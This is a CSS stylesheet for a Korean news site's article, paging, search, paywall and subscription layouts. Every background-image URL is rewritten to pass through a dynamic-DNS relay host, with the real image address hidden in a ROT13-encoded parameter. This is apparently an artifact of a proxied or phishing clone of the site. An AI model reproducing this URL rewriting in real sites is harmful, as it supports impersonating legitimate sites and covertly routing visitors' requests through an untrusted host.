.article_list .thumb .im_boder{position:absolute;display:block;top:0;left:0;right:0;bottom:0;border:1px solid #000;filter:alpha(opacity=10);opacity:0.10;z-index:100}
.article_list .thumb img{max-width:180px; max-height:105px; min-height:47px}
.article_list .rank_num{float:left;width:45px;height:55px;margin-right:5px;text-align:center;font-size:25px}
.sm_gold {color: #e0be23; font-size: 15px; font-weight: normal; letter-spacing: 0; line-height:25px}
.sm_grey   {color: #7f7f7f; font-size: 14px; font-weight: normal; letter-spacing: 0; line-height:25px}
.last { border-bottom: none}

.list_titles {font-size: 26px; font-weight: bold; letter-spacing: -1px; padding-bottom: 10px; margin-bottom: 15px; position: relative; width:858px}
.list_titles >span {
    color: #ff9340;
}

/* 페이징 */
.paging {position: relative;width: 100%;text-align: center;margin: 50px 0 100px 0;clear: both;float: left}
.paging a {display: inline-block;color: #111; border: 1px solid white; font-size: 15px;width: 30px;height: 30px;line-height: 30px;vertical-align: middle;margin-right: -1px; text-decoration:none; font-weight: normal;}
.paging a:hover { color: #656565}
.paging a:visited { color: #656565}
.paging .on{color:#ff9340;border:1px solid #ff9340;}
.paging .on{color:#ff9340!important;}
.paging .pre {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_ceri.cat) center center no-repeat;}
.paging .pre:hover{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_ceri_ubire.cat) center center no-repeat;}
.paging .next {  background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_akg.cat) center center no-repeat;}
.paging .next:hover{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_akg_ubire.cat) center center no-repeat;}
.paging .blind {visibility: hidden;overflow: hidden;}

.top_menu .topsbmenu .menu_on {color: #e0be23!important; font-weight: bold; border-bottom: 3px solid #e0be23; padding: 18px 0}

.im_btn_arrow {position: absolute; right: 0; top: 2px}
.ft_big_gold {color: #a28919; font-size: 20px}
.bx_book_m {position: relative}
.bx_book_m .b_img{float: left}
.bx_book_m .book_cont {background: #f7f7f7; float: right; width: 660px; margin: 20px 0; }
.bx_book_m .book_cont .inner {padding: 30px; font-size: 15px; line-height: 20px; color: #5b5b5b; letter-spacing: -1px}
.book_list { overflow:hidden; padding-bottom: 20px; padding-top: 10px}
.book_list li { padding: 5px 0; }

.article_view {clear: both; overflow: hidden; width:858px}
.article_view .news_title_text { border-bottom: 1px solid #e6e6e6; padding-bottom: 25px}
.article_view .news_title_text .top_title {width:700px; font-size:30px!important; font-weight:bold; line-height:45px; color:#000; letter-spacing:-2px}
.article_view .news_title_text .locked:before {content: '';display: inline-block;width: 22px;height: 28px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_ybpx.fit) no-repeat center/100%;vertical-align: -3px;margin-right: 10px;margin-top: 5px;}

.article_view .news_title_text .sub_title1 {color:#6d6d6d; padding-top:24px; font-weight:normal; line-height:22px; font-size: 16px }
.article_view .news_title_text .sub_title2 {color:#6d6d6d; padding-top:8px; font-weight:normal; line-height:24px}
.article_view .news_title_text .news_title_author { height:20px;  font-size:13px; color:#888; padding-top:40px }
.article_view .news_title_text .news_title_author a { color:#888; }
.article_view .news_title_author .author {float:left; color:#333333; }
.article_view .news_title_author .author a{color:#0a619c !important}
.article_view .news_title_author .lasttime {float:left; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_tnc.tvs) no-repeat 10px 4px;padding-left:20px;}
.article_view .news_title_author .lasttime1 {float:left; padding-left:0;}

.article_body {    position: relative;    font-size: 17px;    line-height: 32px;    margin: 80px 50px 50px 0;    color: #333;     letter-spacing: -0.2p; border-bottom: 2px solid #d1d1d1; padding-bottom: 30px}
.article_body .image {    text-align: center;    margin: 40px 0;    max-width:100%;}
.article_body .image .caption {    font-size: 12px;    color: #5a5a5a;    line-height: 18px;    width: 580px;    margin: 0 auto;}
/*기사 버튼들*/
.article_btn_right {    float: right;}
.article_btn_right > div {    float: right;    margin-left: 5px;}

.art_btn_hover_wrap{    position: absolute;    top: 40px;}

/*공유버튼호버*/
.art_share_btn{    position: relative;}
.share_btn_hover {    background-color: #fff;    border: 1px solid #efefef;    z-index: 1;    padding: 10px 20px;    width: 205px}
.share_btn_hover > li {    display: inline-block;    margin: 0 2px;}

/*글씨버튼호버*/
.art_font_btn {    position: relative;    z-index: 1;}
.art_share_btn{    position: relative;}
.art_share_btn {    position: relative;}
.font_btn_hover {    background-color: #fff;    border: 1px solid #efefef;    padding: 10px 20px;    width: 79px}
.font_btn_hover > li {    display: inline-block;    margin: 0 2px;}

.article_btn_right .art_print_btn > a {    width: 34px;    height: 34px;    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_cevag.cat);    display: inline-block;}
.article_btn_right .art_print_btn > a:hover{    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_cevag_ubire.cat);}
.article_btn_right .art_font_btn > a {    width: 34px;    height: 34px;    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_sbag.cat);    display: inline-block;}
.article_btn_right .art_font_btn > a:hover{    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_sbag_ubire.cat);}
.article_btn_right .art_share_btn > a {    width: 34px;    height: 34px;    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_funer.cat);    display: inline-block;}
.article_btn_right .art_share_btn > a:hover{    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svpb_funer_ubire.cat);}
.article_title {    font-size: 34px;    line-height: 45px;    font-weight: normal;    margin: 50px 40px 30px 0;    letter-spacing: -0.5px;}
.article_info .page_number {    font-size: 18px;    color: #ee7820;    font-weight: bold;}

.reple_box {position:relative; clear:both; margin-top:25px; overflow:hidden}
.reple_box h3 {font-size:18px; font-weight:bold; padding:25px 0 0 15px; float:left; width:113px ; line-height:28px; border-top:1px solid #cccccc}
.reple_box .reple {width:858px; float:left; }
.t_cover_tit {color:#e0be23; font-size:24px; letter-spacing:-1px; padding-bottom:10px}
.cover_list { font-size: 17px; letter-spacing: -1px }
.cover_list  li {  padding:6px 0 }

.right_select {position: absolute; right:0; top: 0}
.right_select select {padding: 3px 5px}
.list_last {position: relative; width: 858px; margin-top: 52px;  clear: both;  overflow: hidden }
.list_last .paper_list  li {float: left; width: 214px; text-align: center;  height:320px}
.list_last  .paper_list  li:first-child {float: left; width: 215px; text-align: center; }
.list_last  .paper_list  li:last-child {float: left; width: 215px; text-align: center;}
.img_maga {width: 150px;}
.ft_last_tit {font-size: 15px; display: block; padding-top: 10px; overflow: hidden; }
.ft_last_tit .ft_last_tit2 {letter-spacing: -1px; padding: 4px 8px; border: 1px solid #999999; border-radius: 20px; font-size: 14px; width: 70px; font-weight: bold; margin: 7px auto}

/* search  */
.gnb_srch_m {overflow:hidden; position:absolute; top:10px; right:0; display:block; width:250px; height:35px; z-index:1000000001; }
.gnb_srch_m legend {display:none}
.gnb_srch_m .srch_wrap_m {overflow:hidden; position:relative; width:214px; height:26px; margin:6px 34px 0 0; border:1px solid #d6d6d6; background: #fff}
.gnb_srch_m input.text {width:168px; height:26px; font-size:12px; color:#333; padding:0 0 2px 10px; border:0; outline:0}
.gnb_srch_m input.text:focus {color:#333}
.gnb_srch_m input.img {position:absolute; top:7px; right:35px; display:block; width:30px; height:26px; text-indent:-9999px; border:0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Svp_fepu_juvgr.cat) no-repeat center 45%; cursor:pointer; z-index:100000003}
.gnb_srch_m input.img_m {position:absolute; top:7px; right:35px; display:block; width:30px; height:26px; text-indent:-9999px; border:0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sfepu.cat) no-repeat center 45%; cursor:pointer; z-index:100000003}
.gnb_srch_m .btn_close {position:absolute; top:0; right:0; display:block; width:34px; height:34px; text-indent:-9999px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Soga_pybfr.cat) no-repeat 0 3px; cursor:pointer; z-index:100000001;}
.gnb_srch_m .btn_close_m {position:absolute; top:0; right:0; display:block; width:34px; height:34px; text-indent:-9999px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Soga_pybfr.cat) no-repeat 0 3px; cursor:pointer; z-index:100000001;}

.gnb_srch{position:absolute;overflow:hidden;display:block;top:0;right:0;background:#fff;width:250px;height:35px;z-index:100000001}
.gnb_srch legend{display:none}
.gnb_srch .srch_wrap{position:relative;overflow:hidden;margin:6px 34px 0 0;border:1px solid #d6d6d6;width:214px;height:26px}
.gnb_srch input.text{width:168px;height:26px;background:#fff;font-size:12px;color:#888;padding:0 0 2px 10px;border:0;outline:0;}
.gnb_srch input.text:focus{color:#141414}
.gnb_srch input.img{position:absolute;top:7px;right:35px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sfepu.cat) no-repeat center 45%;display:block;width:30px;height:26px;text-indent:-9999px;border:0;cursor:pointer;z-index:100000003}
.gnb_srch .btn_close{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Soga_pybfr.cat) no-repeat 0 3px;position:absolute;top:0;right:0;display:block;width:34px;height:34px;text-indent:-9999px;cursor:pointer;z-index:100000002}

.btn_floating {    position: fixed;    left: 50%;    margin-left: 635px;    bottom: 20px;    z-index: 1000;    width: 75px;}

.article_list dd { width:170px; text-align: center}
.article_list .thumb {float:left;position:relative;overflow:hidden;margin:0 20px 5px 0;font-size:0;line-height:0}
.article_list .thumb .im_boder{border: none}
/*.article_list .thumb img{width:170px ;}*/
.article_list .rank_num{float:left;width:45px;height:55px;margin-right:5px;text-align:center;font-size:25px}

.article_list .thumb2 {float:left;position:relative;overflow:hidden;margin:0 20px 5px 0;font-size:0;line-height:0}
.article_list .thumb2 img{  max-height:105px;border:1px solid #d5d5d5 }
.article_list .thumb2 .im_boder{ border: none}


/*  add  main_thum class */
.lux_main .slide .thumb1 {display:block;position:absolute;z-index:1;top:0;left:0;width:858px;height:505px; text-align: center; overflow: hidden}
.lux_main .slide .thumb1 img {width:858px}
.lux_main .slide .thumb1 .shadow {border:none;background:#000;opacity:.4;-ms-filter:alpha(opacity=40);filter:alpha(opacity=40);}

.lux_main .slide .thumb2 {display:block;position:absolute;z-index:1;top:0;left:0;width:858px;height:505px; text-align: center; overflow: hidden}
.lux_main .slide .thumb2 img {height:505px;}
.lux_main .slide .thumb2 .shadow {border:none;background:#000;opacity:.4;-ms-filter:alpha(opacity=40);filter:alpha(opacity=40);}

.main_article .thumb1 {display:block;width:283px;height:166px; overflow: hidden; text-align: center}
.main_article .thumb1 img {width:283px; height: 155px;}
.main_article .thumb1 .mask {border:none;background:#000;opacity:.2;-ms-filter:alpha(opacity=20);filter:alpha(opacity=20);}
.main_article .thumb1 .shadow {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sot_oynpx_gbc2.cat') 0 100% no-repeat; z-index: 100}

.main_article .thumb2 {display:block;width:283px;height:166px; overflow: hidden; text-align: center}
.main_article .thumb2 img {height:166px;}
.main_article .thumb2 .mask {border:none;background:#000;opacity:.2;-ms-filter:alpha(opacity=20);filter:alpha(opacity=20);}
.main_article .thumb2 .shadow {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngvp.zx.pb.xe%2S2025%2Srpbabzl%2Svzntrf%2Sot_oynpx_gbc2.cat') 0 100% no-repeat; z-index: 100}

/*  modify ad */
.apply_reader {border: 1px solid #dadada; margin-bottom: 25px}
.ad {margin-bottom: 20px; overflow: hidden}


/*기자소개*/
.press_box ul {margin-top: 52px;display: inline-block;}
.press_box ul > li {float: left;width: 140px;text-align: center;margin: 0 30px 50px 30px;}
.press_box ul > li > img {width: 140px;}
.press_box ul > li > div {font-size: 15px;font-weight: bold;margin: 10px 0 5px 0;}
.press_box ul > li > a {font-size: 12px;font-weight: bold;color: #888;}

.locked_bottom_pop {position: absolute; left: 50%; bottom: 10; transform: translateX(-50%); background: #fff; width: 790px; box-sizing: border-box; border-top-left-radius: 30px; border-top-right-radius: 30px; box-shadow: -1px 0px 32px -11px rgb(0 0 0 / 40%); height: 500px; z-index: 10;}
.locked_bottom_pop .top_noti_pop {position: absolute;top: 0;left: 0;width: 100%;text-align: center;background: #444444;color: #fff;font-weight: bold;padding: 15px 0;font-size: 16px;border-top-left-radius: 30px;border-top-right-radius: 30px;}
.locked_bottom_pop .top_img_pop {padding-top: 110px;margin: 0 auto;margin-bottom: 30px;text-align: center;}
.locked_bottom_pop .top_img_pop img {width: 30px;}
.locked_bottom_pop .top_tit_pop {font-size: 22px;color: #000;font-weight: bold;text-align: center;margin-bottom: 18px;letter-spacing: -1px;}
.locked_bottom_pop .top_txt_pop {font-size: 18px;color: #616161;font-weight: bold;text-align: center;margin-bottom: 40px;letter-spacing: -1.5px;line-height: 27px;}
.locked_bottom_pop .pop_bt_area li .pop_top_txt {margin-bottom: 10px;color: #A2A2A2;font-size: 14px;font-weight: bold;display: inline-block;}
.locked_bottom_pop .pop_bt_area {width: 76%;margin: 0 auto;padding-bottom: 100px;overflow: hidden;}
.locked_bottom_pop .pop_bt_area li {text-align: center;}
.locked_bottom_pop .pop_bt_area li:first-child {float: left;width: 50%;}
.locked_bottom_pop .pop_bt_area li:last-child {float: right;width: 50%;}
.locked_bottom_pop .pop_bt_area li .bt_pop_direct {display: inline-block;width: 80%;text-decoration: none;box-sizing: border-box;text-align: center;border-radius: 50px;padding: 12px 0;border: 1px solid #d9d9d9;color: gray;background-color: #FBFBFB;font-size: 16px;height: 50px;letter-spacing: -1px;}
.locked_bottom_pop .pop_bt_area li .bt_pop_direct:hover {box-sizing: border-box;text-align: center;border-radius: 50px;display: inline-block;padding: 12px 0;border: 1px solid #ff9340;background: #ff9340;color: #fff;font-weight: bold;font-size: 16px;letter-spacing: -1px;}
.locked_bottom_pop .pop_bt_area li .pop_bottom_txt {display: inline-block;font-size: 13px;margin-top: 10px;color: #898989;}

/*service_info*/
.service_wrap {margin-bottom: 150px;}
.gray_wrap {padding: 60px 70px;margin-top: 30px;background-color: #F9F9F9;border-radius: 10px;letter-spacing: -0.5px;}
.gray_wrap .service_info{display: inline-block;}
.gray_wrap .service_info li {float: left;}
.gray_wrap .service_info li p {margin: 10px 0 30px 0;font-size: 17px;font-weight: bold;}
.gray_wrap .service_info li:first-of-type {margin-right: 90px;}
.gray_wrap .service_info li strong {color: #FF7F1D;font-size: 22px;}

.gray_wrap .notice {margin-top: 50px;font-size: 14px;font-weight: bold;color: #666666;}
.gray_wrap .notice ul li {margin: 10px 0;}
.gray_wrap .notice ul li:before{width: 4px;height: 4px;border-radius: 10px;background-color: #888;display: inline-block;vertical-align: middle;margin: -2px 5px 0 0;content: '';}
.service_btn {text-align: center;margin: 50px 0;}

.service_btn a {width: 215px;display: inline-block;margin: 0 5px;padding: 17px 0;background-color: #FF9340;color: #fff;font-weight: bold;}
.service_btn a:first-of-type {background-color: #5A5A5A;}
.service_btn a:hover{text-decoration: none;}

/*subscribe_info*/
.subscribe_wrap {margin-bottom: 150px;}
.subscribe_wrap .gray_wrap {padding: 20px;}
.subscribe_wrap .notice {margin-top: 50px;font-size: 14px;font-weight: bold;color: #666666;}
.subscribe_wrap .notice ul {width: 590px;margin: 0 auto;}
.subscribe_wrap  .notice ul li {margin: 10px 0;}
.subscribe_wrap .notice ul li:before{width: 4px;height: 4px;border-radius: 10px;background-color: #888;display: inline-block;vertical-align: middle;margin: -2px 5px 0 0;content: '';}
.subscribe_info {text-align: center;}
.subscribe_info > div {margin: 10px;}
.subscribe_info > div  > strong {display: inline-block;width: 110px;background-color: #ff9340;padding: 3px 0;color: #fff;font-size: 15px;border-radius: 5px;margin-right: 5px;}
.subscribe_info > div:nth-of-type(2)  > strong{background-color: #6D6D6D;}
.subscribe_info > div > div {display: inline-block;font-weight: bold;}
.subscribe_info > div > div > span {color: #FF9340;}

/*lnb*/
.lnb_menu {width: 1200px;margin: 0 auto;position: relative;}
.lnb_inner {position: relative;width: 1200px;text-align: left;}
.lnb_inner:before {content: '';display: block;position: absolute;right: 0;bottom: 0;left: 0;height: 1px;background-color: #e5e5e5;}
.lnb_menu ul {overflow: hidden;margin-top: 30px;}
.lnb_menu li {float: left;}
.lnb_menu li a {display: block;color: #000;padding: 0 8px;}
.lnb_menu li:first-child a {padding-left: 0;}
.lnb_menu li .tx {position: relative;display: block;width: 120px;text-align: center;color: #000;padding: 0 2px;height: 42px;-webkit-box-sizing: border-box;box-sizing: border-box;}
.lnb_menu li.on .tx:after {background-color: #FF9340;}
.lnb_menu li .tx:after {content: '';display: block;position: absolute;right: 0;bottom: 0;left: 0;height: 2px;z-index: 1;}

/*deliver_info*/
.member_info {margin: 60px 0 100px 0;}
.member_info > ul {width: 450px;margin: 0 auto;}
.member_info > ul > li {margin: 10px;font-size: 15px;}
.member_info .item label{display: inline-block;width: 100px;height: auto;line-height: 20px;text-align: left;border-radius: 0;font-weight: bold;color: #333;}
.member_info input {box-sizing: border-box;font-size: 14px;letter-spacing: -0.7px;width: 320px;height: 48px;border: none;color: #333;background-color: #F5F5F5;padding-left: 20px;outline: none;margin: 3px 0;}
.member_info >ul > li .member_address {display: inline-grid;}
.member_info >ul > li .member_address .input_box:first-of-type > input {width: 215px;}
.member_info >ul > li .member_address .input_box:first-of-type > button {background-color: #7C7C7C;width: 100px;border: none;color: #fff;font-weight: bold;height: 48px;cursor: pointer;font-size: 13px;}

.btm_btn {width: 430px;margin: 20px auto;}
.btm_btn button {margin-left: 105px;width: 170px;padding: 17px 0;background-color: #FF9340;color: #fff;font-weight: bold;border: none;cursor: pointer;}

/*payment*/
.pay_wrap {height: 600px;padding: 30px 0;}


/*modi*/
.top_menu .topsbmenu_n {margin: 0 auto; overflow: hidden; width: 674px;}
.top_menu .topsbmenu_n li {float: left; color: black; font-size: 15px; padding: 24px  30px 21px   30px}
.top_menu .topsbmenu_n .on a {color: #ff9340!important;font-weight: bold;}
.top_menu .topsbmenu_n li a {color: #000!important;}
.top_menu .topsbmenu_n li a:hover {color: #ff9340!important;}
.top_menu .topsbmenu_n li a:visited {color: #FFFFFF}
.top_menu .topsbmenu_n li:first-child {padding-left:0}
.top_menu .topsbmenu_n li:last-child {padding-right:0}

/* 230111 NFT contest banner */
.AD_bannder {
    height: 65px;
    width: 298px;
    position: absolute;
    right: 0;
    top: 0;
    background: #8BC555;
    overflow: hidden;
}
.AD_bannder a {
    width: 100%;
    height: 100%;
    display: block;
}
.AD_bannder img {
    width: auto;
    height: 100%;
}


/*아티클 본문 css 추가*/
/*추교윤 : 2025-05-16*/
.article_body p {
    margin-bottom: 2rem;
    line-height: 1.6;
}

figure {
    margin: 50px 0px 100px 0px;
    width: 100%;
    text-align: center;
}

.article_body img {
    max-width: 100%;
}

figcaption {
    font-size: 12px;
    color: rgb(90, 90, 90);
    line-height: 18px;
    width: 580px;
    margin: 0px auto;
}